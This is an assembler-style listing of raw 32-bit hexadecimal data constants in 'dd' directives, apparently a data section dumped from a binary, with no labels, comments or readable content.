		dd 0D03A4112h, 0DD949824h, 1AF550h, 0CD81189Ch,	0F1B2AFF6h
		dd 0DFEF6E00h, 0A0EBB4EAh, 0A1F4FDE4h, 16490022h, 0C6B374Eh
		dd 230C2614h, 0A0C5C940h, 1FC27BB0h, 0C0DAA7ECh, 47F77346h
		dd 1F0FF3F6h, 80C86675h, 3EE992A0h, 0CCFD05E2h,	80A6411Ah
		dd 4E03FEB0h, 5B473100h, 0B5287DF7h, 0BA90010h,	1716FF82h
		dd 5C005697h, 24B69635h, 34FDC30h, 0A96C576Fh, 0AEC81BBCh
		dd 4900D520h, 6E7C7090h, 758410A8h, 34E43Eh, 46FE78A2h
		dd 0C2129D80h, 0CE1FFB00h, 42967BBFh, 0C01000BBh, 0AD5C160Eh
		dd 0A217AFFAh, 6003A1Dh, 0C4838179h, 0EE8700ABh, 0A1CC69B6h
		dd 0F200EB7Dh, 16EC9007h, 0AD59FCh, 0DD56E0F5h,	0A71AC97Ch
		dd 70503707h, 0FEF1AE28h, 7DE4D49Ah, 4AE8D9h, 0A8C5F1D8h
		dd 59A1B9D3h, 6CC33400h, 43130284h, 5B060099h, 0F953CC04h
		dd 0D9014AD3h, 375A6B07h, 21D8BB27h, 0F17B1E3Ch, 0DF9AC00Dh
		dd 1715DE97h, 5F004D7Ah, 34AFD445h, 3B07268h, 6AA78760h
		dd 0CED09A0Eh, 0BB796227h, 53BA6F00h, 37E7F606h, 0B5DA0055h
		dd 0C9A2D3CDh, 0D70F72F4h, 2E30D0B4h, 82F04h, 26B6409h
		dd 439C00B5h, 0A10583C8h, 66032BFCh, 0AFBCB8D1h, 8E89D004h
		dd 68CF004Fh, 0BA115406h, 603E615Ah, 1CA08E97h,	76050021h
		dd 7B90928h, 0D4E19F92h, 0CBB230FCh, 0E500A424h, 0F151A03Bh
		dd 4DC467h, 0F39B0D81h,	7FC28EF2h, 21D16907h, 6CB0DEEBh
		dd 17F91F99h, 0BA59A5h,	915B126Ch, 410061FAh, 0FB32B595h
		dd 836D2Fh, 0D1CC1BA0h,	920E4993h, 0ACB18D00h, 0A574F367h
		dd 69B80084h, 285CD4EFh, 7500922Ch, 98905429h, 1F37BC5h
		dd 0E44576F6h, 0D024E661h, 9900E2A4h, 6F82C49Eh, 641D0Eh
		dd 0C06738CFh, 0D0498588h, 1E154B00h, 0F0170AAh, 654616B1h
		dd 1F8E00F5h, 0A553856Eh, 713CCA00h, 8DEB5ABh, 0C8251E1Ch
		dd 69A14F4Bh, 4A47B0E0h, 563F81A9h, 19C70072h, 8638AC16h
		dd 4CE40090h, 288EB89Bh, 42FC36CDh, 7AC2BD0Fh, 959C80E8h
		dd 3CF410h, 684681B6h, 0C85FE1CDh, 98E7FB00h, 58C29B93h
		dd 0D083001Eh, 68A0A57Fh, 0D74C4891h, 34DE0053h, 390C5E4Eh
		dd 0F0FB7506h, 0AA240046h, 0BEEB9111h, 0D800C5C4h, 61530DA5h
		dd 63845Eh, 1A2C6ED3h, 8B27ACAh, 0E03A2F07h, 1BA0106Fh
		dd 0E6347DAAh, 1F47118h, 9E0A7BFCh, 0D0778485h,	0CF004CCBh
		dd 0D422B281h, 708B588Ch, 3B7A0025h, 5A360112h,	0F500F462h
		dd 0A42808BCh, 3805A1E1h, 1438F8D9h, 8DE2007Bh,	0AFBDAC9Ah
		dd 5D3873EAh, 7E9800D2h, 62EB0A60h, 1B3400BAh, 0ACE05FB9h
		dd 0D41C11E8h, 2740D701h, 2B99FB4Eh, 0FC544FB8h, 106400D1h
		dd 6AB4DC6Eh, 0C4E43DD3h, 2A947780h, 0BF3D11C8h, 54225A00h
		dd 958CD6CFh, 911A0703h, 5008D328h, 62C73658h, 1DC95903h
		dd 3AFD2E1h, 0E7839DD6h, 0B5918876h, 0C191C88Dh, 0B7E60D00h
		dd 53618FF9h, 0B13E001Eh, 0C82D327Fh, 3FF66235h, 0A975F805h
		dd 0C0B01D1Fh, 0FD9328DEh, 3EE4FBh, 5B1CC174h, 0BC296EE1h
		dd 0DA690C26h, 6C5AE000h, 0F80D77CDh, 2237262h,	66521ED4h
		dd 9480EB37h, 45DEF863h, 446DE200h, 77B88CD8h, 68353D4Dh
		dd 509A6002h, 71C00E3Ah, 0D7EE2C82h, 0D0C4A00h,	2F677EEBh
		dd 936305B9h, 809B218Fh, 6A52CE7Ch, 184BED00h, 676B0CDBh
		dd 6C30097h, 0B10BEF53h, 8E00FA66h, 0E25A0FA9h,	81BEC1h
		dd 0DCCAD723h, 3288318Ch, 0ABEBCE03h, 0A8E7905Dh, 0BB017Bh
		dd 6D71787Dh, 96E1575Bh, 0AE9DF800h, 0A402A2DFh, 2980E7E7h
		dd 67C2E5A8h, 7600A1A0h, 0B5C92C75h, 1E7325F1h,	87BE0541h
		dd 921F7E34h, 0E0808720h, 141DC30Ch, 7DC15Ch, 43B3E6DEh
		dd 0FC1668A4h, 0B33009Ah, 7A0EEF45h, 41004FE0h,	29A4F94Dh
		dd 3C1B7534h, 0A1006FDCh, 9C086A4Ch, 700D27Dh, 8244A558h
		dd 31EA1241h, 0BE28B94Eh, 0A63F20B0h, 0FEE9E1C3h, 0C800D59Bh
		dd 0EB46D1A1h, 35FC6Ah,	0CD6E8D75h, 0C4C64D7Bh,	6122418h
		dd 9961690h, 5892662h, 0CCE51B00h, 400FD63Ah, 471522E9h
		dd 59B798BEh, 6F0DE1E0h, 0C0FCB4h, 495FC562h, 320E1D69h
		dd 42107000h, 99EB934Bh, 5470082h, 0FADA412h, 0B900F964h
		dd 525714CDh, 0E03F3E32h, 0A93800FDh, 48CEA2DDh, 2E48A336h
		dd 0FFE002Dh, 0D07B259Eh, 8D0800D7h, 736113D6h,	0F23FE71Eh
		dd 44D2140Eh, 1D9F00FEh, 0FFAB23FDh, 13842635h,	0A28C001Ch
		dd 0E8A32109h, 4860E431h, 0ECE0722Ch, 0FC4F00ACh, 864D1E7Ch
		dd 0B00573C7h, 87A94748h, 272170C0h, 51330010h,	0F00B43F2h
		dd 5200CA3Ch, 0DC6E760h
		dd 3A124F18h, 0A1B89196h, 0E641097Dh, 5A802947h, 21AC0844h
		dd 0DB7D6903h, 0D03DC427h, 0E976E2h, 8B13053Bh,	4808BA0Ch
		dd 5D00E190h, 4FD64746h, 3CEDBBEEh, 10B94EDAh, 0E24A7C80h
		dd 0F552D843h, 2085F000h, 1115F9A3h, 31C7F0Fh, 99E9D3E7h
		dd 62F00922h, 0ED787453h, 80A23338h, 7D752811h,	7D4E5F6h
		dd 9E30C4F8h, 562DE0A4h, 707A322h, 86147524h, 0E747A860h
		dd 0B48401FFh, 2BAB286Eh, 6AC0C2EBh, 9C00D061h,	57A51A42h
		dd 204607h, 0BC647944h,	83E16541h, 0B7290B07h, 0E7F0840Dh
		dd 7E982E5h, 0EFF28F1Ch, 55441252h, 0FB18D760h,	9E630F00h
		dd 15E6B30Ch, 9A7A00FDh, 28D9B6A7h, 0D8FF740Bh,	2F004246h
		dd 3991985Bh, 2D7EAEh, 0E7A2753Bh, 2C18670Fh, 0BDEAAA00h
		dd 0C8DCA54Ah, 70EE0092h, 185F1DBh, 1B01337Eh, 112E8A50h
		dd 0B9D8D96Eh, 0CC4603B5h, 3AE367Ah, 1DD6F388h,	605FE40Fh
		dd 0C739A05Ah, 0E03485h, 0EE46B252h, 0B8B66A20h, 3C31DE00h
		dd 5AD4C647h, 572B9h, 13820BBDh, 1F2E9862h, 471A7900h
		dd 0E0B62BB8h, 55FB04Bh, 2D82BB07h, 0C445C0F2h,	84006E4Ah
		dd 3CC7BF45h, 0A33F89h,	56CC0695h, 0FFFC4CF7h, 0D1A89850h
		dd 0BB43BA00h, 4EBDD2F8h, 36650090h, 849E2ECBh,	17065FDFh
		dd 91A379EAh, 233E00C0h, 78687252h, 160007F8h, 66AC3559h
		dd 1B262F3h, 3EBF9F4Ah,	0FCA3947Dh, 2100EAF5h, 0AEFD4809h
		dd 0D5934Eh, 960FDE7Bh,	60497457h, 0F6C24600h, 67E47510h
		dd 0C998C09Bh, 0E0A04B82h, 8F44FE0Fh, 0E8C1DDFBh, 8030EFCEh
		dd 0B4ECC4h, 427C5575h,	22C6781Dh, 2BCE8CFh, 8123A1B0h
		dd 7EEC2CF4h, 5E0E7C7h,	0CC0DFDh, 5DEB5E52h, 0EA59386h
		dd 0EA556100h, 82726A30h, 0B085F2A2h, 135E0120h, 567AE136h
		dd 4E3420A4h, 0D0DFC800h, 71022A85h, 20B10209h,	1338F1CCh
		dd 0D6AE2468h, 0A86A3F00h, 6BFF6181h, 0A2320199h, 0FDF86C40h
		dd 0B480C67Bh, 88259C1Bh, 60CFEA79h, 0A0F12EF4h, 6FF93AD7h
		dd 21E400A8h, 0BCE32646h, 0C400E262h, 0A3279B2Dh, 6639F7Ah
		dd 926FEC39h, 61007875h, 28A101FCh, 9F0D9Eh, 0F147CFD1h
		dd 67F53409h, 0C8E27300h, 0F49EC503h, 189862h, 96C4B2CAh
		dd 0F392706Bh, 8850FE00h, 393538F9h, 8AD71CCCh,	474DC00Eh
		dd 9F10E98Fh, 0E500F8F4h, 0C379C173h, 0FECB4CC5h, 3DF3EEBEh
		dd 8002FAFh, 0CCE8FD64h, 9A007274h, 2D6D4ED6h, 0BB78B3h
		dd 0AA10F049h, 0D855D5C7h, 8FFD611Fh, 5F7B3600h, 0FC3E96C1h
		dd 0E36E0027h, 0C43DAA2Ah, 9500B1B3h, 4A286431h, 0ECFBFDDDh
		dd 0CFF40076h, 651E2D7Dh, 2301BF89h, 92F4761h, 0B1C4E12Eh
		dd 2A750098h, 0F2E3DF0Eh, 0F4001677h, 52A0A9A2h, 81D511h
		dd 1CFA01B4h, 14AA6A79h, 8D19A800h, 0EA105444h,	0A1E80168h
		dd 0B4CEBA8Ah, 0EFB0D815h, 0D8F1A00Eh, 0B4796AE7h, 884A9A03h
		dd 0D833F3EEh, 7A9322h,	0EDC2B485h, 0F04726FCh,	68040500h
		dd 208214FDh, 0AEF90E28h, 2440CC6Eh, 45080F60h,	4AC3B100h
		dd 252892E1h, 0A5F31EC5h, 9E87416Fh, 0DCEB676Ah, 3905CD60h
		dd 0F53B574Bh, 25D0FC00h, 63219h, 0C516094Dh, 0E24380AAh
		dd 707DFB09h, 90DA00E9h, 123E0E18h, 409F71C1h, 8693A930h
		dd 0F112AD2Ah, 0BB009DB4h, 0E55EED8Fh, 29B11616h, 36C00EBh
		dd 0FCDFE848h, 6B253909h, 0F7C08085h, 790B1CCh,	1EF3F204h
		dd 0B687803Eh, 0D5F6F8DBh, 0D12C76ECh, 8100DB1Bh, 0ADCB597h
		dd 9F9D0052h, 0AAE24B69h, 0E400D893h, 646D4D74h, 1DC5C8h
		dd 0A326068Eh, 0D92957A0h, 0F98F148h, 61C65AF2h, 0E1495D33h
		dd 0AAEDCCh, 0AC017A6Dh, 0C7773269h, 394DC401h,	0C3D516C8h
		dd 387B5E8h, 0E4FAD0AEh, 0F298051Fh, 0E11C3121h, 1C0F53F3h
		dd 0FBC6207Eh, 3C4678ADh, 769268D8h, 7600BA3Ah,	0C6B4BD56h
		dd 0F5FF004Ah, 448AC742h, 712476C5h, 0D425BC1Eh, 0C33D000Fh
		dd 0AED687F1h, 0C554C00Eh, 2C1DA04Bh, 600A8D13h, 0D6550EEFh
		dd 0D1F2642h, 0A600D58Bh, 0C0C3ACE9h, 1D950F8Ah, 0BC4368B8h
		dd 64C86B45h, 723CB28Fh, 80162C58h, 0AC2F1E80h,	3D34E829h
		dd 0FFD220Ch, 6D6A8A86h, 806B0D44h, 0A75292ECh,	0D7008874h
		dd 1A71AB55h, 1A01FBEh,	0AF04EF0Fh, 309E6F50h, 0D18454Ch
		dd 20386C4Bh, 7CEE25Dh,	69B468B0h, 0F865618Eh, 9B60E28Fh
		dd 0EA008A1Eh, 0EB540F2Ah, 0D907F5h, 65056BAAh,	0D233B4B1h
		dd 6000B2EEh, 0A518D06Dh, 1D8019F2h, 0E90BA7h, 0C0F1CF3Eh
		dd 409050C2h, 796CD900h, 0AE33B912h, 114613ECh,	0A6A80481h
		dd 0C44C4050h, 0B0AE2C92h, 0F0E200CEh, 1DBDFE63h, 360018E0h
		dd 0C09FACFCh, 280A3342h, 1C94EBB8h, 0DF417BBEh, 1E818F46h
		dd 72E5C6E0h, 0F13E196Eh, 0E620868Bh, 0F866BCh,	0BA611EF4h
		dd 97B7B83Ah, 0F8EB1400h, 9ECBCC8Ch, 0F4860088h, 0B1E2A284h
		dd 680035BDh, 1E18DFDDh, 73C1EFh, 0E123BA3Ch, 19F41C5Fh
		dd 7B36513h, 0E90C2D00h, 0FD3D2Ch, 7F45C629h, 48A632E7h
		dd 9ED22F00h, 81821F0Eh, 3AEA59h, 0DFB57DBEh, 659668BBh
		dd 1AED9E00h, 1DFF0671h, 60C100A2h, 58A9DCEEh, 6100E2C8h
		dd 8F7C309Ch, 2E3BF3h, 0A9246E6h, 0F225DA55h, 7DD7BB00h
		dd 5CAFA1EAh, 0E81C48EDh, 400CE513h, 0CF05C8B0h, 787E42C6h
		dd 18324B0Eh, 5BDB80F4h, 7E8BE9CDh, 0E85A01DCh,	3C4E1E54h
		dd 7165D4F7h, 56FF7D03h, 0D188E96Bh, 0B8303EB8h, 0BCDD2399h
		dd 0D4653681h, 0CC40EA37h, 0EE1C959h, 0E90AF81Ah, 2AECD8E0h
		dd 0EB00550Ch, 65CA5831h, 73AD6Dh, 0F0EF234Dh, 0FECF21FBh
		dd 4C40C460h, 1DE30CCCh, 0C082A003h, 4986677Ch,	19E04BC8h
		dd 0DE935407h, 631E7895h, 88DDF69Dh, 0B713DE4h,	0E9456627h
		dd 1FF70C80h, 0A0E97E3h, 0A0B9323Ch, 1671E680h,	0A5950030h
		dd 7BFA87C1h, 3907757h,	80A85CE6h, 0E0BF9853h, 44FB19h
		dd 9DE1E09Ah, 1F5A786Fh, 0E7018473h, 1C9ED47h, 14F45505h
		dd 0DE9900A6h, 22E4F44Ch, 980BBD6Dh, 77442BFh, 63F7C871h
		dd 0EED71F1h, 0F80238E0h, 7DBA7424h, 7F4300FFh,	7B7C72BEh
		dd 5E0307D9h, 946ECE22h, 4121BAA2h, 26DDC294h, 84CC88F5h
		dd 69FB00DAh, 0AF7B8775h, 0DF005F7Ah, 2DB9604Fh, 683CF82h
		dd 0F50FA747h, 491DA04Ah, 1F8FF212h, 3120D820h,	33C7005Bh
		dd 0C07E0348h, 18C081FBh, 0DB05BEFEh, 2CB776Eh,	0CEAF602Fh
		dd 8058EFA8h, 93EBA907h, 41A0A5B0h, 0FA569A9Fh,	67810004h
		dd 0CC8D01F2h, 7300794Ah, 59D8E27h, 281E4DE1h, 0F7C76Ch
		dd 769599D9h, 7D4B89F8h, 880C7B00h, 819C2E8Bh, 4DB7C1Fh
		dd 2D358EBCh, 0A210C0EFh, 4817BBF7h, 84405C68h,	650A9319h
		dd 1784763Fh, 35BC5C1h,	0B0DED034h, 0CC0A3E3h, 4204112Dh
		dd 0ABCED91Fh, 0A2808C87h, 0B4E01Ch, 0FBF5195Bh, 419493C5h
		dd 3A075A78h, 0FC7FB886h, 65BC9CC1h, 0F05034h, 0A243DD11h
		dd 0F9302F01h, 8293853Fh, 5398FC14h, 0B4C80A5h,	0EEB21E0Ah
		dd 1FF031Ah, 528BA19Eh,	97A98990h, 981B6500h, 621C576Bh
		dd 14DB00C0h, 0EB6E1576h, 567C2175h, 0F3D3AE01h, 268C9146h
		dd 3EDC7AFDh, 87EF3960h, 0DFB65C03h, 8DA0F4BEh,	610BCD83h
		dd 20700341h, 0C7D88CE4h, 92AE00A6h, 0FEFC8F9Ch, 0EA030142h
		dd 0CE335C6Fh, 0BF6EB040h, 0CF3C03A7h, 0FB41C8A8h, 0EF5EC000h
		dd 2A694512h, 8D3B00E9h, 0AF18F7F8h, 0A6008579h, 30414E91h
		dd 0CD29952h, 272D2FD4h
		dd 20D08110h, 1F550181h, 1BA26CEFh, 0C7A0A1F6h,	0CB601AC1h
		dd 405C0036h, 7F4FBC9Ah, 0E202657Bh, 730EE4F7h,	0C244C052h
		dd 0F6400A56h, 0E8CE9Ch, 500F7FD7h, 411E8A1Bh, 24AC652h
		dd 4287B8C8h, 0E01F63F5h, 0EF999F0h, 0C1C6E682h, 0A9E51379h
		dd 0F6E1E0DAh, 0EA4D5104h, 0F481E28Ch, 5E0A759h, 0BB8A0084h
		dd 2363CAC0h, 0A4AB1545h, 81000B8Bh, 4897A437h,	0F83287Ah
		dd 81F2C1F1h, 598A85h, 0D190A744h, 0AD001220h, 94F1C5B4h
		dd 0B5365h, 0F595BF78h,	89C205E1h, 874EF600h, 0ADDA3A71h
		dd 0F36B0E57h, 3D008AF2h, 0B13EDEF9h, 3219FE30h, 7435B9DCh
		dd 334007C5h, 809B5D4Dh, 0C0A2C344h, 7A4A481Eh,	1AC00B1Eh
		dd 0E7817728h, 0DBAF8B8h, 0B9F44B71h, 0BA040B68h, 48D6CE81h
		dd 0FC22F0B1h, 4E00FD77h, 0E4A5B601h, 1DD9EF5h,	0CEBB1144h
		dd 841CA04Bh, 0D76C8028h, 6A42E208h, 87F72261h,	21F3A423h
		dd 0A23C1E51h, 8583225Ch, 4281CC22h, 456E118Ah,	199F0F11h
		dd 2629174Eh, 0C8200A08h, 8886E413h, 52888EA4h,	5FD988BCh
		dd 44271740h, 19459484h, 0B18E10EEh, 3C417389h,	3A12C323h
		dd 0D67B1480h, 42008857h, 0B526331Ah, 0E7FDA3Eh, 0BC862724h
		dd 0CC0970E0h, 0EA008716h, 545C8BEBh, 74032DFh,	82BD2A42h
		dd 0B90E507Dh, 0EE1C8CBEh, 5CC3DA33h, 0D8944789h, 7CA07246h
		dd 130B00FCh, 0F659E68Fh, 0A4033C48h, 3E235443h, 3DDA825h
		dd 2B1D1F8Ch, 8A15C01Fh, 0D7F75E02h, 56B0C00h, 120A1069h
		dd 44B83F43h, 8800EA58h, 46CE25F2h, 5D0F8115h, 0C07F99C7h
		dd 0FFDBEC5Fh, 8ED00B6h, 86BCCC74h, 9279850Dh, 0CE463700h
		dd 48BFB6Dh, 452C00A7h,	0B9E3585Eh, 4E00A30Dh, 0FDB3DA06h
		dd 24888C86h, 80344644h, 0EC666C5Bh, 0C7007465h, 0F952A521h
		dd 1942483h, 77A401C2h,	80C1628Bh, 0F0E93070h, 78D0E231h
		dd 0B69D0F41h, 0FD403997h, 407B44CDh, 4AA96900h, 0E914B72Eh
		dd 8E8500E1h, 0AD49E3Bh, 0C01DF241h, 8F41B2F6h,	0AC846D66h
		dd 14F330h, 0F3FCED4Ch,	690D53E5h, 63B02300h, 9A375117h
		dd 0C6D313FBh, 2BFC007Fh, 502F9596h, 225C8200h,	413D3ACFh
		dd 0EF5000Dh, 2B9A106Ah, 40E357Ch, 0C0E9D567h, 0B505245Dh
		dd 601C3FF3h, 0FADEC8Ch, 0DB009130h, 14479BA7h,	0A48D8Ah
		dd 6053DCB7h, 855B64A8h, 9C00A07Eh, 2EDEC4C5h, 0A578DCCh
		dd 0C21226E5h, 0D66903AEh, 28C82123h, 5D011C20h, 1E65A73Dh
		dd 4CFCBB72h, 0D87B12h,	5108B26Fh, 0C2D154Fh, 619A000h
		dd 0C65A92FBh, 0E2560E7Eh, 4260B16Dh, 0A495D3C2h, 80F5AC3Bh
		dd 77743327h, 3EE6BB94h, 3D006BB3h, 0AD3BC05Fh,	0C8079097h
		dd 88B20EB8h, 60C19A20h, 7BB903A5h, 70E6F75Ch, 0F9FFE3C0h
		dd 7BEFB3Ch, 0F33E503h,	0F439D460h, 65470042h, 716785B8h
		dd 0B70E19C3h, 0C003A049h, 0CBD7FCC8h, 0E90B3E25h, 0C5E89E8Fh
		dd 789BEE20h, 5A0E0222h, 0E065A439h, 7A9D1124h,	6FFD003Fh
		dd 44070418h, 0A8000B29h, 0DDC3EF1Bh, 0B67606h,	69AF169Fh
		dd 226DB41Ah, 2FE77516h, 199EF202h, 1E6F6007h, 0D9D1EDEh
		dd 405B5E72h, 9CD77B3Fh, 0FA7FADA3h, 8C897301h,	9E466592h
		dd 20952880h, 35370F63h, 3EE45E50h, 38AE1800h, 6659E54Eh
		dd 0DFF0B6h, 0EB228E88h, 320ACDACh, 0B81C4Ch, 628AF676h
		dd 7A61C015h, 0A87F00DAh, 0FDAF049Eh, 474EEAEEh, 7E0002ACh
		dd 7F129C15h, 0AA00298Fh, 1C4ADCF6h, 0BDB38C4h,	0E76D1B71h
		dd 0F6220CFDh, 1020EF2Ch, 0FA8A7811h, 0E26E803Bh, 0A6F92006h
		dd 72D4D8B5h, 0DEE11221h, 30390F44h, 83913EA0h,	0AE1F3F4Ah
		dd 0A1407226h, 3C71ED32h, 9E740093h, 637752E5h,	0B2486E4h
		dd 0BB0010CAh, 0C0656D3Bh, 9CC800C7h, 74CEF725h, 79006FA5h
		dd 0A2327CA1h, 7FEF3CB5h, 3D9D0224h, 205A64C4h,	13C3E090h
		dd 9B61700h, 3AEC65E5h,	0C1F4D4h, 0F35B7852h, 1E58B3A9h
		dd 50AC4B3Ah, 0A8004F88h, 40A71A77h, 0C3015Fh, 8E0D90C4h
		dd 0AFDCFC53h, 0CE1C6A00h, 0D322B7C8h, 0E5450066h, 3EF70D68h
		dd 8B0395A6h, 0EF411E99h, 8969884Fh, 34803B3h, 25874B29h
		dd 0ACC9D4A0h, 354A121Eh, 857D7840h, 0A69273h, 0D6681D4Ch
		dd 0C8E137CFh, 0C0DE2A1Ch, 9E2D7B41h, 1DC0A5BAh, 63320047h
		dd 57FA13D2h, 36EE3EEBh, 0E86B6F00h, 228334E9h,	0DF9E0786h
		dd 4DA5BCh, 723FD8E5h, 0F6E4FA00h, 46FC7A8Bh, 0EC567013h
		dd 0F94E00A8h, 2F06085h, 76002A84h, 7392E9B0h, 0A69779h
		dd 0BF61BA65h, 0DC1F0375h, 0BDEAC900h, 0E1453D6Ch, 9CB80021h
		dd 67A702B5h, 59FE3B3Fh, 9D308E00h, 0D8CE4EF6h,	48B00B89h
		dd 2559701h, 0A06BAA6Bh, 5130D7F4h, 0E5AD00D4h,	0D1DB65BDh
		dd 0B27AD519h, 0A0C97900h, 2CC637F2h, 400A0001h, 0CE28DB0Fh
		dd 3A0084A4h, 2092D703h, 55270A5h, 0D9AF8FBEh, 7962805Dh
		dd 9D0ECD1Fh, 471D11BBh, 77D0A45Ah, 0A3F026h, 79C13503h
		dd 6DE8C46Fh, 0A007076h, 5C224401h, 9E23D8h, 0CF040CF8h
		dd 27376CB5h, 80C0EC3Ch, 0E2023E5Ah, 0D1A4EAh, 219CF848h
		dd 0D9414283h, 8A2E9500h, 30280E17h, 0A7DC2CC7h, 91A40023h
		dd 0FBFA4BB5h, 42006A7Eh, 611B50F5h, 1EB3F805h,	0C0DF4DF0h
		dd 368D1A78h, 0D400E3B5h, 26C4541Dh, 5E9120h, 1A181938h
		dd 6D05A49Eh, 87248200h, 921F70EEh, 5A84003Eh, 0ACE4D9BAh
		dd 0C7001363h, 4697DB0Ch, 0ED22F1h, 0C5FF786Ch,	2685471Eh
		dd 0D6038000h, 0C1F6CC0Fh, 59BB029Ah, 0E176FBE0h, 0A2D340E0h
		dd 2B360400h, 52537DCFh, 1E60079h, 6523A1C9h, 0A5001FFAh
		dd 0D0BBC104h, 1DF9CCC8h, 0CBBAC0F1h, 9187B201h, 89FAF01Ah
		dd 590645E2h, 92F2516Fh, 4FBA0019h, 27C75071h, 0A00024Bh
		dd 0E3741BE8h, 1FE726h,	0D46BBC9Ch, 53EDCD20h, 91A31900h
		dd 0F1357D62h, 0D8B10017h, 6760012Dh, 777C90FCh, 28598A4Ch
		dd 1401843Bh, 6D19325Dh, 50878C61h, 10172671h, 1B68F0AAh
		dd 6BD0D701h, 707CC519h, 2A03E0h, 18F307F5h, 0CEB54976h
		dd 9C1A4B07h, 0BF73B80Eh, 0CA30977Dh, 0E19395h,	3A451426h
		dd 68BD3D77h, 39523400h, 0FEA7BE4Eh, 0B9920FA4h, 0E3A023CCh
		dd 0C779C517h, 2E9C1E1Fh, 183371C7h, 0AF8E1090h, 51ED002Ah
		dd 0EA3CC770h, 4B07CC4Dh, 1AEC8FBh, 0B7F65CA0h,	70BA0041h
		dd 27A2D2E4h, 0F0088EEh, 77E94446h, 68CB1Eh, 8E7865Eh
		dd 3F756515h, 4A497E02h, 4B14079Bh, 6621988Ch, 0BEECAAh
		dd 0C11CBA52h, 4AAF0E42h, 81B67D00h, 7B1E7A45h,	285607EAh
		dd 309CF763h, 4C612210h, 8E09604h, 0E3804AB0h, 3CFF311Eh
		dd 0ABED033h, 5B0D4B80h, 0BD012599h, 3D9CC103h,	0A86D2E8Ah
		dd 0F1B9714h, 494B64DCh, 0C08431E7h, 0C5E93426h, 77066B00h
		dd 0D1C32908h, 52380054h, 2BCC8ADDh, 200A72Eh, 7A99B341h
		dd 50BB73Eh, 0E6756095h, 83C9013Ch, 0C0BD9247h,	0CF0131E4h
		dd 0E3C43882h, 1FD86F41h, 651E0096h, 0C3B694C7h, 0D4F972E8h
		dd 0C8755625h, 2F2B3200h, 0EBF8C036h, 0BCA30067h, 0ECCD312h
		dd 820753CFh, 8DD5B8DBh, 3DE635E0h, 9CAD189Eh, 0F25BE1CDh
		dd 1314FC04h, 5EC069CFh, 0E86101h, 0A3503B2Bh, 5246AF0Fh
		dd 0B4CB842Eh, 201F4E0Fh, 62D97626h, 0B4253E4Bh, 0DC44BC03h
		dd 511D6F96h, 20DED3D4h, 33258BCh, 1A394A2h, 9009FB2Ch
		dd 0EFB282h, 22082DD9h,	3B8DB6D4h, 36FA5500h, 5FD0EEE5h
		dd 0E4050058h, 288C8401h
		dd 7F1D2914h, 3F879F6Fh, 93D0511Fh, 0F9ACAE5h, 5619402Bh
		dd 0E005BEC7h, 0AFFF22D0h, 113AD51Dh, 4FFBB580h, 14B7AEh
		dd 0ABB22B34h, 0FDF5DBE7h, 5C7F530Eh, 0AE44823Ch, 0BFFBC36Ch
		dd 483EB550h, 0C50A0042h, 0D547FA61h, 0C9000B90h, 0E0B80CB2h
		dd 31E9E0Eh, 9F410F17h,	0FA884E29h, 0ED5027F7h,	0CC00DDF8h
		dd 0F956144Ch, 72550E8h, 0A50D3D96h, 2123F55h, 0A661132Ch
		dd 0C5E347E0h, 74078000h, 0AF835868h, 0B1F497h,	0E66A98FFh
		dd 3EC3F91Eh, 36A7FE03h, 1F68B9h, 0A1B8E969h, 0E2D61BDh
		dd 0A9860207h, 650579Bh, 7C2A07h, 0E951E540h, 0C9DB9DFDh
		dd 0C97CF00h, 0A9554725h, 70E201BCh, 129FA895h,	5F9CD852h
		dd 0DC9BAD00h, 3527EFE4h, 5AA30079h, 0C295376Dh, 7400573Fh
		dd 50A161E2h, 1C7DDA8Bh, 40D9EAD0h, 33BF1BF1h, 98000F4Eh
		dd 13E33725h, 710AC7Ch,	0F94A3EAFh, 3092E022h, 0DA906F23h
		dd 0BE9CB903h, 31EBE9h,	1A88B69Ch, 7A4F7767h, 6D120400h
		dd 0D7EC4ED4h, 3C0AF621h, 35801CA8h, 0DCE67B8Fh, 1700978Dh
		dd 58037176h, 91314182h, 2789802Ch, 0CDF35567h,	0FF8E048h
		dd 20A6A2BCh, 0A046AE86h, 530C004Fh, 88F4762Fh,	5E1CA76Ch
		dd 0FD058E66h, 0B4007182h, 0EE6850A3h, 994D146Fh, 0C200A833h
		dd 0CCB57BB0h, 4026C9D3h, 8B00A971h, 0D7A95AE6h, 68060011h
		dd 0DB5FCF16h, 0A709B621h, 794D55h, 0F708DDCh, 0A9050196h
		dd 0BA39D507h, 72EEC099h, 0EAD270FFh, 0D7480900h, 0F38A3E03h
		dd 1F2F1826h, 0E2019073h, 0DE0F6600h, 8D5ABF49h, 97DF0017h
		dd 3FF98FABh, 1900EDC7h, 0D29B7A34h, 152991Bh, 0E106973Bh
		dd 702C0C16h, 6A0940CCh, 86141FEEh, 98D1E9h, 0F588D317h
		dd 3CAA60EBh, 8B341D00h, 699EA882h, 0A37C0078h,	0EA7F6FEFh
		dd 521E8635h, 3A7ED6h, 4FF016FDh, 9CD7363h, 0A44588B1h
		dd 30542780h, 0B701BD8Ah, 77B3AD06h, 0C8BED98Bh, 0FEB27A80h
		dd 0C278554Ch, 67500600h, 5F254882h, 3DE698B3h,	598305B8h
		dd 0FBDDF5ACh, 188E92A8h, 0B530300h, 0CB4ECDC5h, 0E2F8011Eh
		dd 2EDE21B8h, 8D90242Ah, 140F889Ah, 0C09F5542h,	2709735Ch
		dd 0A07F0045h, 0D1E662B4h, 49006052h, 0AA7B6E2Eh, 13C9FAh
		dd 24F12B6Dh, 0EC2F1D9Fh, 4300C698h, 0EA3973F7h, 0B331B1h
		dd 9F1528EFh, 6C745442h, 35E63400h, 0CDA8A66h, 7A7D3F8Eh
		dd 0E5A5B780h, 85F5A153h, 8916BF00h, 3D12BB5Dh,	4AF2006Dh
		dd 830F07CDh, 0B600AC44h, 9B9A13E2h, 0A87F3C21h, 7A4A690h
		dd 43604953h, 20D800B8h, 2CFC1080h, 0DAD95B00h,	9053CBFh
		dd 941600B0h, 0ACFB0811h, 0D67B846Bh, 7C724E0Eh, 0ADFAC0B8h
		dd 7CBAB953h, 90F913F3h, 0C4C800BCh, 0D299FD33h, 3A7ECC04h
		dd 7483572Ch, 723B98B2h, 0F4A74897h, 4B2E8F00h,	7B9DE521h
		dd 70A6FF00h, 0EBEDDC42h, 90F9B03Ah, 4A4C73D4h,	73B81Eh
		dd 1B5BFA84h, 13AAC9h, 0D707A0DBh, 1EBA3745h, 359B2602h
		dd 60A6FB61h, 9ADB8E4h,	9ABBE8EEh, 600AB480h, 3401C422h
		dd 76C55D50h, 0B2E42E8Dh, 0D9B1143Ch, 5300C43Bh, 27032806h
